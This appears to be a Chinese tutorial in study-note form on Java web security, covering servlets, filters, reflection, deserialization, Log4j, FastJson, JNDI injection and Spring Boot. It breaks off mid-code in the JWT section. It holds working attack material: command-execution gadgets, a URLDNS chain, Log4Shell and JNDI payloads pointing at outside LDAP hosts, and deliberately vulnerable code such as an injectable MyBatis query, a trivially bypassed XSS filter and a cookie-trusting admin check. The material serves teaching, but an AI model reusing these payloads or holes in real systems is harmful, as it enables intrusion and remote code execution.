Servlet
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/a")//配置路由
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("--------------doGet");
String id =req.getParameter("id");
//resp.setContentType("utf-8");
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("这是GET请求的数据:");
out.println("id:"+id+"<br>");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("name");
//resp.setContentType("utf-8");
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("这是post提交的数据");
out.println(name);
out.flush();
out.close();
System.out.println("--------------doPost");
}
//项目启动时执行,执行一些初始化servlet的操作
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("--------------init");
}
//项目结束时候执行,执行一些操作
@Override
public void destroy() {
System.out.println("--------------destroy");
super.destroy();
}
//先输出Servlet service,再输出http service
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("--------------http service");
super.service(req, resp);
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
System.out.println("--------------Servlet service");
super.service(req, res);
}
}
** web.xml(第二种配置路由的方式)**
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.servletdemo.IndexServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/index</url-pattern>
</servlet-mapping>
</web-app>
JDBC
使用预编译写法可以有效防止sql注入。
package com.example.servletdemo;
import java.sql.*;
public class NewsServlet{
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url ="jdbc:mysql://localhost:3306/demo01";
Connection connection = DriverManager.getConnection(url,"root","123456");
System.out.println(connection);
String sql="select * from news";
//危险写法
//String vulsql="select * from news where id="+id;
//预编译写法
String safesql="select * from news where id=?";
System.out.println(sql);
//危险函数
Statement statement= connection.createStatement();
//预编译写法
Statement statement1=connection.prepareStatement(safesql);
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()){
int id = resultSet.getInt("id");
String page_title = resultSet.getString("page_title");
String heading = resultSet.getString("heading");
String subheading = resultSet.getString("subheading");
String content = resultSet.getString("content");
String img = resultSet.getString("img");
System.out.println(id+"|"+page_title+"|"+heading+"|"+subheading+"|"+content+"|"+img);
}
}
}
过滤器(Filter)
Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
xss过滤
一个简单servlet,功能就是用户输入参数code的值,然后页面显示该值;显而易见,我们不对用户输入的值做过滤的化很容易造成xss漏洞。所以我们可以使用过滤器对用户的输入值进行过滤。
核心就是触发url路由后先执行filter中的doFilter,如果放行的话才会执行servlet中doget放法。
package com.example.filterdemo1.servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code =req.getParameter("code");
PrintWriter out = resp.getWriter();
out.println(code);
out.flush();
out.close();
}
}
** xssFilter**
package com.example.filterdemo1.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
//过滤器需要配置路由信息
@WebFilter("/test")
public class XssFilter implements Filter {
@Override
//中间件启动后就自动运行
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("xss开启过滤");
}
@Override
//中间件关闭后就自动运行
public void destroy() {
System.out.println("xss销毁过滤");
}
@Override
//doFilter 访问路由触发的方法
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss正在过滤");
//过滤代码就应该在放行前
//如果符合就放行,不符合就过滤(拦截)
//XSS过滤 接受参数值 如果有攻击payload 就进行拦截
// 接受参数值 如果没有攻击payload 就进行放行
HttpServletRequest request= (HttpServletRequest) servletRequest;
String code = request.getParameter("code");
if(!code.contains("<script>")){ //没有攻击payload
//放行
filterChain.doFilter(servletRequest,servletResponse);
}else{
System.out.println("存在XSS攻击");
//继续拦截
}
}
}
admin过滤
package com.example.filterdemo1.servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("欢迎进入管理员页面");
}
}
package com.example.filterdemo1.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebFilter("/admin")
public class AdminFileter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("admin身份检测开启");
}
@Override
public void destroy() {
System.out.println("admin身份检测销毁");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("admin身份检测进行");
//检测Cookie过滤
HttpServletRequest request= (HttpServletRequest) servletRequest;
Cookie[] cookies=request.getCookies();
//对Cookie进行遍历获取
for(Cookie c:cookies){
String cName = c.getName();//获取cookie名
String cValue = c.getValue();//获取cookie值
System.out.println(cName);
System.out.println(cValue);
if(cName.contains("user") && cValue.contains("admin")){
filterChain.doFilter(servletRequest,servletResponse);
}else {
System.out.println("非管理员访问");
}
}
}
}
监听器(Listener)
package com.example.listendemo1.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/cs")
public class CSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("Servlet里面创建Session");
//创建Session
req.getSession();
}
}
package com.example.listendemo1.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/ds")
public class DSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("Servlet里面销毁Session");
//销毁Session
req.getSession().invalidate();
}
}
监听器
package com.example.listendemo1.listener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//监听器是不需要路由的,当有session创建时他会自动监测到
@WebListener
public class SessionListener implements HttpSessionListener {
@Override
public void sessionCreated(HttpSessionEvent se) {
//监听检测有Session创建就会执行这里
System.out.println("监听器监听到了session创建");
}
@Override
public void sessionDestroyed(HttpSessionEvent se) {
//监听检测有Session销毁就会执行这里
System.out.println("监听器监听到了session销毁");
}
}
内存马会用到这些监听器和过滤器
反射
一个简单的user类,包含一些成员变量、构造方法、成员方法
package com.example.reflectdemo1;
public class User {
//成员变量
public String name="xxxxx";
public int age = 31;
private String gender="man";
protected String job="sec";
//构造方法
public User(){
//System.out.println("无参数");
}
public User(String name){
System.out.println("我的名字"+name);
}
private User(String name,int age){
System.out.println(name);
System.out.println(age);
}
protected User(String name,int age,String gender){
System.out.println();
}
//成员方法
public void userinfo(String name,int age,String gender,String job){
this.job=job;
this.age=age;
this.name = name;
this.gender=gender;
}
protected void users(String name,String gender){
this.name = name;
this.gender=gender;
System.out.println("users成员方法:"+name);
System.out.println("users成员方法:"+gender);
}
private void user1(){
}
}
Class对象类获取
package com.example.reflectdemo1;
public class GetClass {
public static void main(String[] args) throws ClassNotFoundException {
//1、根据全限定类名:Class.forName("全路径类名")
Class aClass = Class.forName("com.example.reflectdemo1.User");
System.out.println(aClass);
//2、根据类名:类名.class
Class userClass = User.class;
System.out.println(userClass);
//3、根据对象:对象.getClass()
User user= new User();
Class aClass1 = user.getClass();
System.out.println(aClass1);
//4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class aClass2 = clsload.loadClass("com.example.reflectdemo1.User");
System.out.println(aClass2);
}
}
//结果:class com.example.reflectdemo1.User
Method成员方法获取
package com.example.reflectdemo1;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class GetMethod {
public static void main(String[] args) throws Exception {
Class aClass = Class.forName("com.example.reflectdemo1.User");
// //获取包括继承的公共成员方法 只有public
// Method[] methods = aClass.getMethods();
// for(Method me:methods){
// System.out.println(me);
// }
//获取不包括继承的所有成员方法 包括private
Method[] methods = aClass.getDeclaredMethods();
for(Method me:methods){
System.out.println(me);
}
//获取单个的成员方法
// Method users = aClass.getDeclaredMethod("users", String.class,String.class);
// System.out.println(users);
//invoke对成员方法进行执行 不包括privats的
// User u = new User();
// Method users = aClass.getDeclaredMethod("users", String.class,String.class);
// users.invoke(u,"xiaodigay","gay1");
//private的执行
User u = new User();
Method users = aClass.getDeclaredMethod("users", String.class,String.class);
//私有需要开启临时
users.setAccessible(true);
users.invoke(u,"xiaodigay","gay1");
}
}
Field成员变量获取
package com.example.reflectdemo1;
import java.lang.reflect.Field;
public class GetFiled {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class aClass = Class.forName("com.example.reflectdemo1.User");
//获取公共的成员变量
// Field[] fields = aClass.getFields();
// for(Field fd:fields){
// System.out.println(fd);
// }
//获取所有的成员变量
// Field[] fields = aClass.getDeclaredFields();
// for(Field fd:fields){
// System.out.println(fd);
// }
//获取单个的公共成员变量
Field name = aClass.getField("name");
System.out.println(name);
//
// //获取单个的成员变量
// Field gender = aClass.getDeclaredField("gender");
// System.out.println(gender);
//获取公共的成员变量age的值
// User u = new User();
// Field field=aClass.getField("age");
//
// //取值
// Object a=field.get(u);
// System.out.println(a);
//
// //赋值
// field.set(u,32);
// Object aa=field.get(u);
// System.out.println(aa);
}
}
Constructor构造方法获取
package com.example.reflectdemo1;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
//newInstance会执行构造方法
public class GetConstructor {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class aClass = Class.forName("com.example.reflectdemo1.User");
//获取公共的构造方法
// Constructor[] constructors = aClass.getConstructors();
// for (Constructor con:constructors){
// System.out.println(con);
// }
//获取所有的构造方法
// Constructor[] constructors = aClass.getDeclaredConstructors();
// for (Constructor con:constructors){
// System.out.println(con);
// }
//获取单个的公共的构造方法
// Constructor constructor = aClass.getConstructor(String.class);
// System.out.println(constructor);
//
// //获取单个的构造方法
// Constructor con1 = aClass.getDeclaredConstructor(String.class,int.class);
// System.out.println(con1);
//对构造方法进行操作(两个参数string,int)
// Constructor con2=aClass.getDeclaredConstructor(String.class,int.class);
// //临时开启对私有的访问
// con2.setAccessible(true);
// User uu=(User) con2.newInstance("xiaodigaygay",40);
//System.out.println(uu);
//对构造方法进行执行(1个参数strin)
// Constructor con2=aClass.getConstructor(String.class);
// con2.newInstance("xiaodigaygay");
}
}
不安全命令执行
package com.example.reflectdemo1;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class GetRunExec {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//原生调用 JDK自带的rt.jar
//Runtime.getRuntime().exec("calc");
//如果是第三方的jar包呢
Class aClass = Class.forName("java.lang.Runtime");
//获取所有公共包括继承的成员方法
// Method[] methods = aClass.getMethods();
// for(Method me:methods){
// System.out.println(me);
// }
//获取exec成员方法
Method exec = aClass.getMethod("exec", String.class);
//获取getRuntime成员方法
Method getRuntimeMethod = aClass.getMethod("getRuntime");
//执行
System.out.println(aClass);
Object runtime = getRuntimeMethod.invoke(aClass);//invoke正常的参数是对象类型,如果方法是静态,参数可以是类或者null
exec.invoke(runtime, "calc.exe");
}
}
序列化&反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转换成内存中的对象
该模块的设计就是为了传输和存储数据;当两个进程进行通信的时候,可以通过序列化对象进行传输;想要保存对象数据时候也可通过序列化永久的保存到硬盘上。
序列化/反序列化协议:
- java内置的writeObject()/readObject()
- java内置的XMLDecoder()/XMLEncoder
- XStream
- SnakeYaml
- FastJson
- Jackson
反序列化安全问题:
- 重写readObject方法
- 输出new的对象调用toString方法
源码:
安全问题就在于toString()和readObject()方法的重写。
package com.example.seriatestdemo;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class UserDemo implements Serializable {
public String name="xiaodi";
public String gender="man";
public Integer age=30;
public UserDemo(){
}
public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
//当new一个对象(new UserDemo()),然后输出对象就会执行toString方法;该方法的返回值格式就是对象的输出结果格式
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
//重写readObject方法,当反序列时候就会执行该重写的方法(反序列化调用的函数就是ObjectInputStream下的readObject方法)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确readObject 如果没有的话就只会弹出计算器;无法正常还原出值
ois.defaultReadObject();//相当于就是执行了原始的readObject()方法,可以反序列化出其值;如果不执行该语句那么返回的变量值都是null
Runtime.getRuntime().exec("calc");
}
}
** 序列化:**
package com.example.seriatestdemo;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个UserDemo对象
UserDemo u = new UserDemo("xdsec","gay1",30);
System.out.println(u);//此时就会调用toString方法
//调用方法进行序列化
SerializableTest(u);
//ser.txt 就是对象u 序列化的字节流数据
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
}
** 反序列化:**
package com.example.seriatestdemo;
import java.io.*;
public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传输ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");
//对obj对象进行输出 默认调用原始对象的toString方法
System.out.println(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();//调用readObject方法反序列化,会返回一个UserDemo对象 反序列化的安全问题就在于此,如果我们在UserDemo中重写了readObject方法,那么就会调用我们重写的方法
return o;
}
}
HashMap中有readObject()方法,所以我们如果对该类反序列化就会执行其中的resdObject方法。
package com.example.seriatestdemo;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrLDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
HashMap<URL,Integer> hash = new HashMap<>();
URL u=new URL("http://dmo1e2.dnslog.cn");
hash.put(u,1);
SerializableTest(hash);
UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
第三方组件
第三方组件都需要在jar仓库中下载或者使用maven引用。
Log4j
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
package com.example.log4jwebdemo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
private static final Logger log= LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code =req.getParameter("code");
//code=${java:os} 输出执行结果
//code={java:os} 正常输入
//${jndi:ldap://192.168.1.3:1389/xkfp8e}
//${jndi:ldap://xxxx.dns.log}
log.error("{}",code);
//1、开发源码中引用漏洞组件如log4j
//2、开发中使用组件的代码(触发漏洞代码)
//3、可控变量去传递Payload来实现攻击
}
}
上述如果日志输出信息code是我们可控的,那么我们就可以使用jndi注入。(利用jndi注入工具生成payload)
payload:
${jndi:ldap://192.168.1.3:1389/xkfp8e}
FastJson
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
package com.xiaodi;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
//使用fastjson去处理User类数据
public class FastjsonTest {
public static void main(String[] args) {
//u Object对象
//Integer age String name 字符串数据
User u = new User();
u.setAge(30);
u.setName("xiaodi");
System.out.println(u);
//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//我就选择第三方组件fastjson来去做这个功能
//讲json对象转换json数据
String jsonString = JSONObject.toJSONString(u);
System.out.println("这就是json格式:"+jsonString);
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
//上述对象 -> JSON
//下面JSON -> 对象
String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
//String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
//实战中com.xiaodi.Run 我们不知道 固定调用
//rmi ldap 去触发远程的class 执行代码(RCE)
JSONObject jsonObject = JSON.parseObject(test);//会调用test中的@type后面类中的构造方法,相当于是创建了一个对象
System.out.println(jsonObject);
}
}
安全问题就在于parseObject实现对json数据解析成对象;此时我们就可以利用执行远程class文件。
JNDI注入
JNDI:全称为 JavaNaming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
jndi注入就相当于远程执行了一个class文件。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
核心就是调用new InitialContext().lookup()方法,执行远程的class文件
在RMI服务中调用new InitialContext().lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了 new InitialContext().lookup()的类有:
InitialDirContext.lookup()
SpringLdapTemplate.lookup()
LdapTemplate.lookupContext()
至于上面我们提到的RME和LDAP服务,我们利用工具直接生成链接(即lookup()的参数)。
工具1:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
工具2: marshalsec-0.0.3-SNAPSHOT-all.jar
- 首先我们先自己编写一个java文件(Test.java),实现我们要执行的命令。
- 然后编译java文件(javac Test.java),就会生成一个Test.class
- 把Test.class文件放在访问路径
- 使用工具生成调用协议。(见下方图)
Test.java
import java.io.IOException;
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("notepad");//弹出笔记本
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "ldap://192.168.1.6:1389/Test";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
最后成功弹出记事本。
注意:
上面那些方法都是与jdk版本有直接关系的,jdk版本高了不一定会执行;相比之下第二种工具的适用范围更广。
//RMI marshalsec工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以//RMI jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以//LDAP - marshalsec工具
//JDK 17
// 11版本
// 8u362
// 8U112 都可以//LDAP - jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以
Springboot
参考:https://springdoc.cn/spring-boot/
package cn.xiaodisec.springboottest.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
@RestController//该注解相当于是@Controller +@ResponseBody合在一起
public class IndexController {
//指定GET请求的访问路由
@RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
//@GetMapping(value = "/xiaodiget")
public String getindex(){
return "get test";
}//return即返回值 是因为上面写的是@RestController;如果只是一个@Controller,则不可以
//指定POST请求的访问路由
@RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
//@PostMapping(value = "/xiaodipost")
public String getpost(){
return "post test";
}
//指定GET请求的访问路由 带参数名name
@RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET)
//@GetMapping(value = "/xiaodiget")
public String get_g(@RequestParam String name){
return "get test"+name;
}
//指定POST请求的访问路由 带参数名name
@RequestMapping(value = "/xiaodiget_g",method = RequestMethod.POST)
//@GetMapping(value = "/xiaodiget_g")
public String get_p(@RequestParam String name){
return "post test"+name;
}
}
springboot操作数据库(mybatis)
思路:
- 首先我们创建项目的时候勾选mysql和mybatis,因为这样pom.xml会自动引入依赖,无须我们添加。
- 配置数据库连接信息(application.yml)
- 创建实体类(entity包下),通常就是数据库中的属性。(属性 get set方法)
- 创建mapper动态接口代理类实现(mapper包下)
- 创建controller实现web访问。
** application.yml:**
spring:
datasource:
url: jdbc:mysql://localhost:3306/demo01
username: root
password: 123456
driver-class-name: com.mysql.cj.jdbc.Driver
实体类(根据自己的数据库信息修改)
package com.example.springbootmybatils.entity;
public class User {
private Integer id;
private String username;
private String password;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + '\'' +
", password='" + password + '\'' +
'}';
}
}
动态接口类:
package com.example.springbootmybatils.mapper;
import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper
public interface UserMapper {
@Select("select * from admin where id like '%${id}%'")
public List<User> findAll(Integer id);
@Select("select * from admin where id=1")
public List<User> findID();
}
controller包
package com.example.springbootmybatils.controller;
import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
public class GetadminController {
@Autowired
private UserMapper UserMapper;
@GetMapping("/getadmin")
public List<User> getadmindata(@RequestParam Integer id){
List<User> all = UserMapper.findAll(id);
return all;
}
@GetMapping("/getid")
public List<User> getadminid(){
List<User> all = UserMapper.findID();
return all;
}
}
Thymeleaf模板
我们创建springboot项目之后,可以选择thymeleaf模板
package cn.xiaodisec.thyremeafdemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@Controller
public class ThyremeafController {
// @RequestMapping(value = "/")
// public String index(Model model) {
// model.addAttribute("data","hello xiaodi");
// //@RestController ResponseBody index当做字符串显示操作
// //Controller 没有ResponseBody index当做资源文件去渲染
// return "index";
// }
@RequestMapping(value = "/test")
public String index() {
//@RestController ResponseBody index当做字符串显示操作
//Controller 没有ResponseBody index当做资源文件去渲染
return "test";
}
@RequestMapping(value = "/")
public String index(@RequestParam String lang) {
//@RestController ResponseBody index当做字符串显示操作
//Controller 没有ResponseBody index当做资源文件去渲染
return lang; //lang=en index-en
}
}
漏洞成因大概就是根据用户参数可选择不同的页面;如果参数是一段恶意代码,那么就会执行该代码。
Springboot监控系统——Actuator
SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。
使用:
actuator我们可以直接创建项目的时候选,也可以直接在pom.xml中添加依赖。然后就是配置信息,最后直接在url中访问/actuator等。(下面能否访问取决于我们的配置)
** 安全问题**
heapdump泄露:当配置不当我们可以访问heapdump时,此文件会自动下载;我们可以使用jdk自带的jvisualvm和提取器JDumpSpider两款工具进行敏感信息的提取。
主要就是获取更多的信息,比如通过监控我们可以发现更多的配置信息(组件、账号、密码等到),通过我们获取到的信息再去分析对应组件、对应功能可能存在的漏洞。
安全配置:
management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false
Springboot监控系统——swagger
Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
使用
1.导入依赖
<--2.9.2版本-->
<dependency></dependency> <dependency><groupId>io.springfox</groupId> <artifactId>springfox-swagger2</artifactId> <version>2.9.2</version>
</dependency><groupId>io.springfox</groupId> <artifactId>springfox-swagger-ui</artifactId> <version>2.9.2</version>
<--3.0.0版本-->
<dependency><groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
<version>3.0.0</version>
</dependency>
2.配置访问
#application.properties
spring.mvc.pathmatch.matching-strategy=ant-path-matcher
#application.yml
spring
mvc:
pathmatch: matching-strategy: ant_path_matcher
3. 2.X版本启动需要注释@EnableSwagger2 3版本不需要注释
4. 2.X访问路径:http://ip:port/swagger-ui.html
3.X访问路径:http://ip:port/swagger-ui/index.html
这接口我们可以看作是信息收集工具,帮我看多更多的接口,我们可以对未授权访问、信息泄露等做安全漏洞的测试(换句话说就是我们看到哪些接口就对哪些接口进行漏洞测试)
我们可以利用postman中的API做自动化测试。
身份验证——JWT
JWT(JSON WebToken)是由服务端用加密算法对信息签名来保证其完整性和不可伪造;Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;JWT用于身份认证、会话维持等。由三部分组成,header、payload与signature。
导入依赖:
<dependency><groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>3.4.0</version>
</dependency>
package cn.xiaodi.testjwt.demos.web;
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class JwtController {
//模拟用户的jwt身份创建 数据的jwt加密
@PostMapping("/jwtcreate")
@ResponseBody
public static String main(Integer id,String user,String pass) {
String jwttoken = JWT.create()
//设置创建的header部分
